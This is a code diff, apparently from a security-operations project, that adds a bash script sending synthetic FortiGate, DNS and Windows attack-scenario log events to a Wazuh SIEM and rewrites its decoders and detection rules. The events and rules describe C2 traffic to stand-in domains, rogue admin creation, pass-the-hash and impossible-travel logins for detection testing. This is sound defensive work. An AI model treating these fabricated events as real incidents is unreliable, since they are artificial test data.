+    "svc_backup$" "svc_dbbackup$" "finance.user" "it-admin" "guest"
240
+  )
241
+  echo "${users[$((RANDOM % ${#users[@]}))]}"
242
+}
243
+
244
+random_fgt_model() {
245
+  local models=("FGT40F-Branch01" "FGT60F-Branch01" "FGT80F-Branch01" "FGT501E-DC01")
246
+  echo "${models[$((RANDOM % ${#models[@]}))]}"
247
+}
248
+
249
+random_devid() {
250
+  local n
251
+  n="$(rand_between 10000000 99999999)"
252
+  echo "FGT80FTK${n}"
253
+}
254
+
255
+random_domain() {
256
+  echo "ioc-$(rand_between 1000 9999).malicious.example"
257
+}
258
+
259
+replace_kv() {
260
+  local input key new
261
+  input="$1"
262
+  key="$2"
263
+  new="$3"
264
+  printf '%s' "$input" | sed -E "s#${key}=\"[^\"]*\"#${key}=\"${new}\"#g; s#${key}=([^\" ][^ ]*)#${key}=${new}#g"
265
+}
266
+
267
+mock_windows_json_line() {
268
+  local line src_ip
269
+  line="$1"
270
+  src_ip="$(random_public_ip)"
271
+
272
+  if command -v jq >/dev/null 2>&1; then
273
+    printf '%s' "$line" | jq -c \
274
+      --arg srcip "$src_ip" \
275
+      '
276
+      if (.win.eventdata | type) == "object" then
277
+        .win.eventdata |= (
278
+          if has("subjectUserName") then .subjectUserName = "SYSTEM" else . end |
279
+          if has("workstationName") then .workstationName = ("WS-" + (($srcip|split("."))[3])) else . end |
280
+          if has("ipAddress") then .ipAddress = $srcip else . end
281
+        )
282
+      else
283
+        .
284
+      end
285
+      ' 2>/dev/null || printf '%s' "$line"
286
+  else
287
+    printf '%s' "$line"
288
+  fi
289
+}
290
+
291
+mock_non_json_line() {
292
+  local line now_date now_time now_iso epoch src_pub dst_priv prev_pub devname devid query
293
+  line="$1"
294
+  now_date="$(date '+%Y-%m-%d')"
295
+  now_time="$(date '+%H:%M:%S')"
296
+  now_iso="$(date -u '+%Y-%m-%dT%H:%M:%S.000Z')"
297
+  epoch="$(date '+%s')"
298
+  src_pub="$(random_public_ip)"
299
+  dst_priv="$(random_private_ip)"
300
+  prev_pub="$(random_public_ip)"
301
+  devname="$(random_fgt_model)"
302
+  devid="$(random_devid)"
303
+  query="$(random_domain)"
304
+
305
+  line="$(replace_kv "$line" "date" "$now_date")"
306
+  line="$(replace_kv "$line" "time" "$now_time")"
307
+  line="$(replace_kv "$line" "eventtime" "$epoch")"
308
+  line="$(replace_kv "$line" "devname" "$devname")"
309
+  line="$(replace_kv "$line" "devid" "$devid")"
310
+
311
+  line="$(replace_kv "$line" "srcip" "$src_pub")"
312
+  line="$(replace_kv "$line" "dstip" "$dst_priv")"
313
+  line="$(replace_kv "$line" "src_ip" "$src_pub")"
314
+  line="$(replace_kv "$line" "prev_ip" "$prev_pub")"
315
+
316
+  line="$(replace_kv "$line" "query" "$query")"
317
+
318
+  line="$(replace_kv "$line" "srcport" "$(rand_between 1025 65535)")"
319
+  line="$(replace_kv "$line" "distance_km" "$(rand_between 500 16000)")"
320
+  line="$(replace_kv "$line" "travel_minutes" "$(rand_between 5 180)")"
321
+
322
+  if [[ "$line" =~ ^[0-9]{4}-[0-9]{2}-[0-9]{2}T ]]; then
323
+    line="$(printf '%s' "$line" | sed -E "s#^[0-9]{4}-[0-9]{2}-[0-9]{2}T[^ ]+#${now_iso}#")"
324
+  fi
325
+  line="$(printf '%s' "$line" | sed -E "s#from [0-9]{1,3}(\.[0-9]{1,3}){3}#from ${src_pub}#g")"
326
+  line="$(printf '%s' "$line" | sed -E "s# port [0-9]{2,5}# port $(rand_between 1025 65535)#g")"
327
+
328
+  printf '%s' "$line"
329
+}
330
+
331
+mock_line() {
332
+  local line="$1"
333
+  if [ "$MOCK_VALUES" != "1" ]; then
334
+    printf '%s' "$line"
335
+    return 0
336
+  fi
337
+
338
+  if [[ "$line" =~ ^\{ ]]; then
339
+    mock_windows_json_line "$line"
340
+  else
341
+    mock_non_json_line "$line"
342
+  fi
343
+}
344
+
345
+send_file_once() {
346
+  local file selector line sent current_tag extracted
347
+  file="$1"
348
+  selector="$2"
349
+  sent=0
350
+  current_tag=""
351
+
352
+  while IFS= read -r line || [ -n "$line" ]; do
353
+    if [[ "$line" =~ ^[[:space:]]*#[[:space:]]*([A-Za-z][0-9]-[0-9]{2})([[:space:]]|$) ]]; then
354
+      extracted="${BASH_REMATCH[1]}"
355
+      current_tag="$(normalize "$extracted")"
356
+      continue
357
+    fi
358
+
359
+    if [[ -z "${line// }" ]] || [[ "$line" =~ ^[[:space:]]*# ]]; then
360
+      continue
361
+    fi
362
+
363
+    if selector_matches_tag "$selector" "$current_tag"; then
364
+      line="$(mock_line "$line")"
365
+      emit_syslog "$line"
366
+      sent=$((sent + 1))
367
+      sleep "$DELAY"
368
+    fi
369
+  done < "$file"
370
+
371
+  echo "sent=${sent} file=$(basename "$file") selector=$(normalize "$selector")"
372
+}
373
+
374
+send_guaranteed_hits_once() {
375
+  local selector sent idx tag line
376
+  selector="$1"
377
+  sent=0
378
+
379
+  local tags=(
380
+    "a1-01"
381
+    "a1-02"
382
+    "a2-02"
383
+    "a2-03"
384
+    "a2-05"
385
+    "a2-10"
386
+    "c1-01"
387
+    "c1-01"
388
+  )
389
+
390
+  local lines=(
391
+    "soc_event=dns_ioc event_type=ioc_dns_traffic src_ip=10.26.45.214 query=ioc-2294.malicious.example action=blocked severity=medium"
392
+    "soc_event=dns_ioc event_type=ioc_domain_match src_ip=10.26.45.214 query=bad-c2.example feed=internal_main confidence=high action=alert"
393
+    "date=2026-03-09 time=10:02:04 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079324 vd=\"root\" logid=\"0100044547\" type=\"event\" subtype=\"system\" level=\"warning\" user=\"admin\" action=\"password-change\" ui=\"https(10.20.55.1)\""
394
+    "date=2026-03-09 time=10:02:17 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079337 vd=\"root\" logid=\"0100044548\" type=\"event\" subtype=\"system\" level=\"warning\" user=\"admin\" action=\"create-admin\" target_user=\"soc-backup-admin\""
395
+    "date=2026-03-09 time=10:04:03 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079443 vd=\"root\" logid=\"0100044552\" type=\"event\" subtype=\"system\" level=\"notice\" user=\"admin\" action=\"download-config\" dstip=10.20.50.33"
396
+    "date=2026-03-09 time=10:07:59 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079679 vd=\"root\" logid=\"0000000014\" type=\"traffic\" subtype=\"forward\" level=\"warning\" srcip=10.20.55.50 dstip=203.0.113.60 dstport=443 threat_label=\"known-c2\" action=\"accept\""
397
+    "date=2026-03-09 time=10:31:00 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773081060 vd=\"root\" logid=\"0101037135\" type=\"event\" subtype=\"vpn\" tunneltype=\"ssl\" action=\"ssl-login-success\" user=\"analyst01\" srcip=203.0.113.71 previous_country=TH current_country=US"
398
+    "soc_event=correlation event_type=c1_impossible_travel user=\"analyst01\" src_ip=203.0.113.71 prev_ip=203.0.113.11 prev_country=TH current_country=US distance_km=13890 travel_minutes=18"
399
+  )
400
+
401
+  for idx in "${!lines[@]}"; do
402
+    tag="${tags[$idx]}"
403
+    if selector_matches_tag "$selector" "$tag"; then
404
+      line="$(mock_line "${lines[$idx]}")"
405
+      emit_syslog "$line"
406
+      sent=$((sent + 1))
407
+      sleep "$DELAY"
408
+    fi
409
+  done
410
+
411
+  echo "guaranteed_sent=${sent} selector=$(normalize "$selector")"
412
+}
413
+
414
+EVENT_POOL_READY=0
415
+EVENT_POOL_SELECTOR=""
416
+declare -a EVENT_POOL_TAGS
417
+declare -a EVENT_POOL_LINES
418
+
419
+build_event_pool() {
420
+  local selector file line current_tag extracted idx tag
421
+  selector="$1"
422
+  EVENT_POOL_READY=0
423
+  EVENT_POOL_SELECTOR="$selector"
424
+  EVENT_POOL_TAGS=()
425
+  EVENT_POOL_LINES=()
426
+
427
+  if [ "$INCLUDE_NONALERTS" = "1" ]; then
428
+    for file in "${FILES[@]}"; do
429
+      current_tag=""
430
+      while IFS= read -r line || [ -n "$line" ]; do
431
+        if [[ "$line" =~ ^[[:space:]]*#[[:space:]]*([A-Za-z][0-9]-[0-9]{2})([[:space:]]|$) ]]; then
432
+          extracted="${BASH_REMATCH[1]}"
433
+          current_tag="$(normalize "$extracted")"
434
+          continue
435
+        fi
436
+        if [[ -z "${line// }" ]] || [[ "$line" =~ ^[[:space:]]*# ]]; then
437
+          continue
438
+        fi
439
+        if selector_matches_tag "$selector" "$current_tag"; then
440
+          EVENT_POOL_TAGS+=("$current_tag")
441
+          EVENT_POOL_LINES+=("$line")
442
+        fi
443
+      done < "$file"
444
+    done
445
+  fi
446
+
447
+  if [ "$GUARANTEE_HITS" = "1" ]; then
448
+    local guaranteed_tags=(
449
+      "a1-01" "a1-02" "a2-02" "a2-03" "a2-05" "a2-10" "c1-01" "c1-01"
450
+    )
451
+    local guaranteed_lines=(
452
+      "soc_event=dns_ioc event_type=ioc_dns_traffic src_ip=10.26.45.214 query=ioc-2294.malicious.example action=blocked severity=medium"
453
+      "soc_event=dns_ioc event_type=ioc_domain_match src_ip=10.26.45.214 query=bad-c2.example feed=internal_main confidence=high action=alert"
454
+      "date=2026-03-09 time=10:02:04 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079324 vd=\"root\" logid=\"0100044547\" type=\"event\" subtype=\"system\" level=\"warning\" user=\"admin\" action=\"password-change\" ui=\"https(10.20.55.1)\""
455
+      "date=2026-03-09 time=10:02:17 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079337 vd=\"root\" logid=\"0100044548\" type=\"event\" subtype=\"system\" level=\"warning\" user=\"admin\" action=\"create-admin\" target_user=\"soc-backup-admin\""
456
+      "date=2026-03-09 time=10:04:03 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079443 vd=\"root\" logid=\"0100044552\" type=\"event\" subtype=\"system\" level=\"notice\" user=\"admin\" action=\"download-config\" dstip=10.20.50.33"
457
+      "date=2026-03-09 time=10:07:59 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773079679 vd=\"root\" logid=\"0000000014\" type=\"traffic\" subtype=\"forward\" level=\"warning\" srcip=10.20.55.50 dstip=203.0.113.60 dstport=443 threat_label=\"known-c2\" action=\"accept\""
458
+      "date=2026-03-09 time=10:31:00 devname=\"FGT80F-Branch01\" devid=\"FGT80FTK20000001\" eventtime=1773081060 vd=\"root\" logid=\"0101037135\" type=\"event\" subtype=\"vpn\" tunneltype=\"ssl\" action=\"ssl-login-success\" user=\"analyst01\" srcip=203.0.113.71 previous_country=TH current_country=US"
459
+      "soc_event=correlation event_type=c1_impossible_travel user=\"analyst01\" src_ip=203.0.113.71 prev_ip=203.0.113.11 prev_country=TH current_country=US distance_km=13890 travel_minutes=18"
460
+    )
461
+    for idx in "${!guaranteed_lines[@]}"; do
462
+      tag="${guaranteed_tags[$idx]}"
463
+      if selector_matches_tag "$selector" "$tag"; then
464
+        EVENT_POOL_TAGS+=("$tag")
465
+        EVENT_POOL_LINES+=("${guaranteed_lines[$idx]}")
466
+      fi
467
+    done
468
+  fi
469
+
470
+  EVENT_POOL_READY=1
471
+}
472
+
473
+send_random_event_once() {
474
+  local selector size idx line tag
475
+  selector="$1"
476
+  if [ "$EVENT_POOL_READY" -ne 1 ] || [ "$EVENT_POOL_SELECTOR" != "$selector" ]; then
477
+    build_event_pool "$selector"
478
+  fi
479
+  size="${#EVENT_POOL_LINES[@]}"
480
+  if [ "$size" -eq 0 ]; then
481
+    echo "random_sent=0 selector=$(normalize "$selector")"
482
+    return 0
483
+  fi
484
+  idx=$((RANDOM % size))
485
+  tag="${EVENT_POOL_TAGS[$idx]}"
486
+  line="${EVENT_POOL_LINES[$idx]}"
487
+  line="$(mock_line "$line")"
488
+  emit_syslog "$line"
489
+  echo "random_sent=1 tag=${tag} selector=$(normalize "$selector")"
490
+}
491
+
492
+if ! is_valid_selector "$SELECTOR"; then
493
+  echo "error: selector must be one of all|a|b|c|appendix-a|appendix-b|appendix-c|a1..a4|b1..b3|c1..c3|A1-01..C3-04"
494
+  exit 1
495
+fi
496
+
497
+FILES=()
498
+while IFS= read -r f; do
499
+  [ -n "$f" ] && FILES+=("$f")
500
+done < <(sample_files_for_selector "$SELECTOR")
501
+
502
+for f in "${FILES[@]}"; do
503
+  if [ ! -f "$f" ]; then
504
+    echo "error: missing sample file '$f'"
505
+    exit 1
506
+  fi
507
+done
508
+
509
+echo "selector=${SELECTOR} count=${COUNT} delay=${DELAY}s forever=${FOREVER} dry_run=${DRY_RUN} mock_values=${MOCK_VALUES} guarantee_hits=${GUARANTEE_HITS} random_types=${RANDOM_TYPES} include_nonalerts=${INCLUDE_NONALERTS} docker_send=${DOCKER_SEND} nc_wait=${NC_WAIT_SECONDS}s strict_send=${STRICT_SEND}"
510
+echo "target=${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
511
+
512
+if [ "$RANDOM_TYPES" = "1" ]; then
513
+  if [ "$FOREVER" -eq 1 ]; then
514
+    loop=1
515
+    while true; do
516
+      send_random_event_once "$SELECTOR"
517
+      echo "loop=${loop} complete"
518
+      loop=$((loop + 1))
519
+      sleep "$DELAY"
520
+    done
521
+  else
522
+    for ((i=1; i<=COUNT; i++)); do
523
+      send_random_event_once "$SELECTOR"
524
+      echo "iteration=${i}/${COUNT} complete"
525
+      sleep "$DELAY"
526
+    done
527
+  fi
528
+elif [ "$FOREVER" -eq 1 ]; then
529
+  loop=1
530
+  while true; do
531
+    for f in "${FILES[@]}"; do
532
+      send_file_once "$f" "$SELECTOR"
533
+    done
534
+    if [ "$GUARANTEE_HITS" = "1" ]; then
535
+      send_guaranteed_hits_once "$SELECTOR"
536
+    fi
537
+    echo "loop=${loop} complete"
538
+    loop=$((loop + 1))
539
+  done
540
+else
541
+  for ((i=1; i<=COUNT; i++)); do
542
+    for f in "${FILES[@]}"; do
543
+      send_file_once "$f" "$SELECTOR"
544
+    done
545
+    if [ "$GUARANTEE_HITS" = "1" ]; then
546
+      send_guaranteed_hits_once "$SELECTOR"
547
+    fi
548
+    echo "iteration=${i}/${COUNT} complete"
549
+  done
550
+fi

+ 0 - 132
scripts/send-wazuh-test-events.sh

@@ -1,132 +0,0 @@
1
-#!/usr/bin/env bash
2
-set -euo pipefail
3
-
4
-SCENARIO="${1:-all}"
5
-COUNT="${2:-1}"
6
-DELAY="${3:-0.3}"
7
-FOREVER="false"
8
-
9
-for arg in "${@:4}"; do
10
-  case "${arg}" in
11
-    --forever)
12
-      FOREVER="true"
13
-      ;;
14
-    *)
15
-      echo "error: unexpected argument '${arg}'"
16
-      echo "usage: scripts/send-wazuh-test-events.sh [scenario] [count] [delay_seconds] [--forever]"
17
-      exit 1
18
-      ;;
19
-  esac
20
-done
21
-
22
-WAZUH_SYSLOG_HOST="${WAZUH_SYSLOG_HOST:-127.0.0.1}"
23
-WAZUH_SYSLOG_PORT="${WAZUH_SYSLOG_PORT:-514}"
24
-WAZUH_TEST_SRC_IP="${WAZUH_TEST_SRC_IP:-203.0.113.10}"
25
-WAZUH_TEST_DOMAIN="${WAZUH_TEST_DOMAIN:-malicious.example}"
26
-WAZUH_TEST_USER="${WAZUH_TEST_USER:-guest.user}"
27
-
28
-if ! [[ "${COUNT}" =~ ^[0-9]+$ ]] || [[ "${COUNT}" -lt 1 ]]; then
29
-  echo "error: count must be a positive integer"
30
-  exit 1
31
-fi
32
-
33
-if ! [[ "${DELAY}" =~ ^[0-9]+([.][0-9]+)?$ ]]; then
34
-  echo "error: delay must be numeric (example: 0.5)"
35
-  exit 1
36
-fi
37
-
38
-emit_syslog() {
39
-  local msg="$1"
40
-  local sent="false"
41
-
42
-  if command -v nc >/dev/null 2>&1; then
43
-    if printf "%s\n" "${msg}" | nc -u -w1 "${WAZUH_SYSLOG_HOST}" "${WAZUH_SYSLOG_PORT}"; then
44
-      sent="true"
45
-    fi
46
-  fi
47
-
48
-  if [[ "${sent}" != "true" ]]; then
49
-    if printf "%s\n" "${msg}" >"/dev/udp/${WAZUH_SYSLOG_HOST}/${WAZUH_SYSLOG_PORT}" 2>/dev/null; then
50
-      sent="true"
51
-    fi
52
-  fi
53
-
54
-  if [[ "${sent}" != "true" ]]; then
55
-    echo "error: failed to send syslog event to ${WAZUH_SYSLOG_HOST}:${WAZUH_SYSLOG_PORT}/udp"
56
-    echo "hint: install netcat or run with bash UDP support (/dev/udp)"
57
-    return 1
58
-  fi
59
-  echo "[$(date -u +'%Y-%m-%dT%H:%M:%SZ')] sent: ${msg}"
60
-}
61
-
62
-random_id() {
63
-  printf "%s" "evt-$(date +%s)-$RANDOM-$RANDOM"
64
-}
65
-
66
-send_ioc_dns() {
67
-  local eid
68
-  eid="$(random_id)"
69
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') soc-test soc_mvp_test=true event_id=${eid} event_type=ioc_dns src_ip=${WAZUH_TEST_SRC_IP} query=${WAZUH_TEST_DOMAIN} action=blocked severity=medium"
70
-}
71
-
72
-send_ioc_ips() {
73
-  local eid
74
-  eid="$(random_id)"
75
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') soc-test soc_mvp_test=true event_id=${eid} event_type=ioc_ips src_ip=${WAZUH_TEST_SRC_IP} dst_ip=198.51.100.55 signature='Known C2 Beacon' severity=high"
76
-}
77
-
78
-send_vpn_outside_th() {
79
-  local eid
80
-  eid="$(random_id)"
81
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') soc-test soc_mvp_test=true event_id=${eid} event_type=vpn_geo_anomaly user=${WAZUH_TEST_USER} src_ip=${WAZUH_TEST_SRC_IP} country=US success=true severity=high"
82
-}
83
-
84
-send_windows_auth_fail() {
85
-  local eid
86
-  eid="$(random_id)"
87
-  emit_syslog "<134>$(date '+%b %d %H:%M:%S') soc-test soc_mvp_test=true event_id=${eid} event_type=windows_auth_fail user=${WAZUH_TEST_USER} src_ip=${WAZUH_TEST_SRC_IP} attempts=7 severity=medium"
88
-}
89
-
90
-send_once() {
91
-  case "${SCENARIO}" in
92
-    ioc_dns)
93
-      send_ioc_dns
94
-      ;;
95
-    ioc_ips)
96
-      send_ioc_ips
97
-      ;;
98
-    vpn_outside_th)
99
-      send_vpn_outside_th
100
-      ;;
101
-    windows_auth_fail)
102
-      send_windows_auth_fail
103
-      ;;
104
-    all)
105
-      send_ioc_dns
106
-      send_ioc_ips
107
-      send_vpn_outside_th
108
-      send_windows_auth_fail
109
-      ;;
110
-    *)
111
-      echo "error: unknown scenario '${SCENARIO}'"
112
-      echo "valid: ioc_dns | ioc_ips | vpn_outside_th | windows_auth_fail | all"
113
-      exit 1
114
-      ;;
115
-  esac
116
-}
117
-
118
-if [[ "${FOREVER}" == "true" ]]; then
119
-  echo "running forever with interval ${DELAY}s (Ctrl+C to stop)"
120
-  trap 'echo; echo "stopped"; exit 0' INT TERM
121
-  while true; do
122
-    send_once
123
-    sleep "${DELAY}"
124
-  done
125
-else
126
-  for ((i=1; i<=COUNT; i++)); do
127
-    send_once
128
-    if [[ "${i}" -lt "${COUNT}" ]]; then
129
-      sleep "${DELAY}"
130
-    fi
131
-  done
132
-fi

+ 13 - 21
wazuh-docker/single-node/config/wazuh_cluster/local_decoder.xml

@@ -1,25 +1,17 @@
1
-<!-- SOC MVP local decoders (minimal production-safe set) -->
1
+<!--
2
+  SOC custom decoders (production-focused baseline)
3
+  - Decodes real correlation payloads produced by SOC Integrator
4
+  - Decodes real DNS IOC payloads
5
+-->
2 6
 
3
-<decoder name="soc-kv-base">
4
-  <prematch>soc_mvp_test=true</prematch>
7
+<decoder name="soc-prod-dns">
8
+  <prematch>soc_event=dns_ioc</prematch>
9
+  <regex type="pcre2">event_type=(\S+)(?:.*?src_ip=([\d.]+))?</regex>
10
+  <order>status, srcip</order>
5 11
 </decoder>
6 12
 
7
-<decoder name="soc-dns-ioc">
8
-  <parent>soc-kv-base</parent>
9
-  <prematch>source=dns</prematch>
10
-</decoder>
11
-
12
-<decoder name="soc-vmware-auth">
13
-  <parent>soc-kv-base</parent>
14
-  <prematch>source=vmware</prematch>
15
-</decoder>
16
-
17
-<decoder name="soc-log-monitor">
18
-  <parent>soc-kv-base</parent>
19
-  <prematch>source=log_monitor</prematch>
20
-</decoder>
21
-
22
-<decoder name="soc-windows-sysmon">
23
-  <parent>soc-kv-base</parent>
24
-  <prematch>source=windows_sysmon</prematch>
13
+<decoder name="soc-prod-integrator">
14
+  <prematch>soc_event=correlation</prematch>
15
+  <regex type="pcre2">event_type=(\S+)(?:.*?user="([^"]+)")?(?:.*?src_ip=([\d.]+))?</regex>
16
+  <order>status, srcuser, srcip</order>
25 17
 </decoder>

+ 15 - 305
wazuh-docker/single-node/config/wazuh_cluster/local_rules.xml

@@ -1,311 +1,21 @@
1
-<group name="soc_mvp_test,">
2
-  <!-- Base marker for all synthetic SOC simulation events -->
3
-  <rule id="100200" level="3">
4
-    <match>soc_mvp_test=true</match>
5
-    <description>SOC MVP synthetic test event detected</description>
6
-    <group>soc_mvp_test,syslog,</group>
7
-  </rule>
8
-
9
-  <!-- Proposal-level grouping -->
10
-  <rule id="100210" level="5">
11
-    <if_sid>100200</if_sid>
12
-    <match>usecase_id=A</match>
13
-    <description>Proposal Appendix A simulation event</description>
14
-    <group>soc_mvp_test,proposal_appendix_a,</group>
15
-  </rule>
1
+<!--
2
+  SOC custom local rules (production-focused baseline)
3
+  Rule IDs in this file:
4
+    100250: DNS/IOC decoder anchor (soc-prod-dns)
5
+    100260: soc-integrator correlation decoder anchor (soc-prod-integrator)
6
+-->
7
+<group name="soc_prod_base,">
16 8
 
17
-  <rule id="100220" level="5">
18
-    <if_sid>100200</if_sid>
19
-    <match>usecase_id=B</match>
20
-    <description>Proposal Appendix B simulation event</description>
21
-    <group>soc_mvp_test,proposal_appendix_b,</group>
9
+  <rule id="100250" level="3">
10
+    <decoded_as>soc-prod-dns</decoded_as>
11
+    <description>SOC PROD: DNS/IOC anchor event</description>
12
+    <group>soc_prod_base,dns_ioc,</group>
22 13
   </rule>
23 14
 
24
-  <rule id="100230" level="5">
25
-    <if_sid>100200</if_sid>
26
-    <match>usecase_id=C</match>
27
-    <description>Proposal Appendix C simulation event</description>
28
-    <group>soc_mvp_test,proposal_appendix_c,</group>
15
+  <rule id="100260" level="3">
16
+    <decoded_as>soc-prod-integrator</decoded_as>
17
+    <description>SOC PROD: soc-integrator correlation anchor event</description>
18
+    <group>soc_prod_base,correlation,</group>
29 19
   </rule>
30 20
 
31
-  <!-- Appendix A1 (Medium) -->
32
-  <rule id="100301" level="8"><if_sid>100210</if_sid><match>usecase_id=A1-01</match><description>A1-01 DNS Network Traffic Communicate to Malicious Domain</description><group>soc_mvp_test,appendix_a,a1,ioc,</group></rule>
33
-  <rule id="100302" level="8"><if_sid>100210</if_sid><match>usecase_id=A1-02</match><description>A1-02 DNS Network Traffic Malicious Domain IOCs Detection</description><group>soc_mvp_test,appendix_a,a1,ioc,</group></rule>
34
-
35
-  <!-- Appendix A2 (FortiGate IPS/IDS & Firewall) -->
36
-  <rule id="100311" level="12"><if_sid>100210</if_sid><match>usecase_id=A2-01</match><description>A2-01 Allowed RDP from Public IPs</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
37
-  <rule id="100312" level="12"><if_sid>100210</if_sid><match>usecase_id=A2-02</match><description>A2-02 Firewall Account Admin Password Change</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
38
-  <rule id="100313" level="12"><if_sid>100210</if_sid><match>usecase_id=A2-03</match><description>A2-03 Firewall Account Create Add Admin Account</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
39
-  <rule id="100314" level="12"><if_sid>100210</if_sid><match>usecase_id=A2-04</match><description>A2-04 Firewall Configure Disabled Email Notification</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
40
-  <rule id="100315" level="5"><if_sid>100210</if_sid><match>usecase_id=A2-05</match><description>A2-05 Firewall Configure Download Configure FW</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
41
-  <rule id="100316" level="8"><if_sid>100210</if_sid><match>usecase_id=A2-06</match><description>A2-06 IDS Alert Multiple Critical High</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
42
-  <rule id="100317" level="5"><if_sid>100210</if_sid><match>usecase_id=A2-07</match><description>A2-07 Network Traffic Port Scanning</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
43
-  <rule id="100318" level="8"><if_sid>100210</if_sid><match>usecase_id=A2-08</match><description>A2-08 Network Traffic IOC Detection</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
44
-  <rule id="100319" level="8"><if_sid>100210</if_sid><match>usecase_id=A2-09</match><description>A2-09 Port Scanning from Private IP</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
45
-  <rule id="100320" level="8"><if_sid>100210</if_sid><match>usecase_id=A2-10</match><description>A2-10 Communicate to Malicious IP</description><group>soc_mvp_test,appendix_a,a2,fortigate,</group></rule>
46
-
47
-  <!-- Appendix A3 (FortiGate VPN) -->
48
-  <rule id="100331" level="12"><if_sid>100210</if_sid><match>usecase_id=A3-01</match><description>A3-01 VPN Authentication Success from Guest Account</description><group>soc_mvp_test,appendix_a,a3,vpn,</group></rule>
49
-  <rule id="100332" level="12"><if_sid>100210</if_sid><match>usecase_id=A3-02</match><description>A3-02 VPN Authentication Success from Multiple Country</description><group>soc_mvp_test,appendix_a,a3,vpn,</group></rule>
50
-  <rule id="100333" level="12"><if_sid>100210</if_sid><match>usecase_id=A3-03</match><description>A3-03 VPN Authentication Brute Force Success</description><group>soc_mvp_test,appendix_a,a3,vpn,</group></rule>
51
-  <rule id="100334" level="5"><if_sid>100210</if_sid><match>usecase_id=A3-04</match><description>A3-04 VPN Authentication Multiple Fail Many Accounts from One Source</description><group>soc_mvp_test,appendix_a,a3,vpn,</group></rule>
52
-  <rule id="100335" level="12"><if_sid>100210</if_sid><match>usecase_id=A3-05</match><description>A3-05 VPN Authentication Success from Outside Thailand</description><group>soc_mvp_test,appendix_a,a3,vpn,</group></rule>
53
-
54
-  <!-- Appendix A4 (Windows/AD) -->
55
-  <rule id="100341" level="8"><if_sid>100210</if_sid><match>usecase_id=A4-01</match><description>A4-01 Windows Authentication Multiple Fail from Privileged Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
56
-  <rule id="100342" level="8"><if_sid>100210</if_sid><match>usecase_id=A4-02</match><description>A4-02 Windows Authentication Multiple Fail from Service Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
57
-  <rule id="100343" level="8"><if_sid>100210</if_sid><match>usecase_id=A4-03</match><description>A4-03 Windows AD Enumeration with Malicious Tools</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
58
-  <rule id="100344" level="8"><if_sid>100210</if_sid><match>usecase_id=A4-04</match><description>A4-04 Windows Authentication Fail from Public IPs</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
59
-  <rule id="100345" level="8"><if_sid>100210</if_sid><match>usecase_id=A4-05</match><description>A4-05 Windows File Share Enumeration to Single Destination</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
60
-  <rule id="100346" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-06</match><description>A4-06 Windows Authentication Success from Public IPs</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
61
-  <rule id="100347" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-07</match><description>A4-07 Windows Authentication Privileged Account Impersonation</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
62
-  <rule id="100348" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-08</match><description>A4-08 Windows Authentication Successful Pass the Hash RDP</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
63
-  <rule id="100349" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-09</match><description>A4-09 Windows Authentication Success from Guest Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
64
-  <rule id="100350" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-10</match><description>A4-10 Windows Authentication Interactive Logon Success by Service Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
65
-  <rule id="100351" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-11</match><description>A4-11 Windows Account Added to Privileged Custom Group</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
66
-  <rule id="100352" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-12</match><description>A4-12 Windows Account Added to Privileged Group</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
67
-  <rule id="100353" level="12"><if_sid>100210</if_sid><match>usecase_id=A4-13</match><description>A4-13 Windows Domain Configure DSRM Password Reset</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
68
-  <rule id="100354" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-14</match><description>A4-14 Windows Authentication Multiple Fail One Account from Many Sources</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
69
-  <rule id="100355" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-15</match><description>A4-15 Windows Authentication Multiple Fail Many Accounts from One Source</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
70
-  <rule id="100356" level="5"><if_sid>100210</if_sid><match>usecase_id=A4-16</match><description>A4-16 Windows Authentication Multiple Fail from Guest Account</description><group>soc_mvp_test,appendix_a,a4,windows,</group></rule>
71
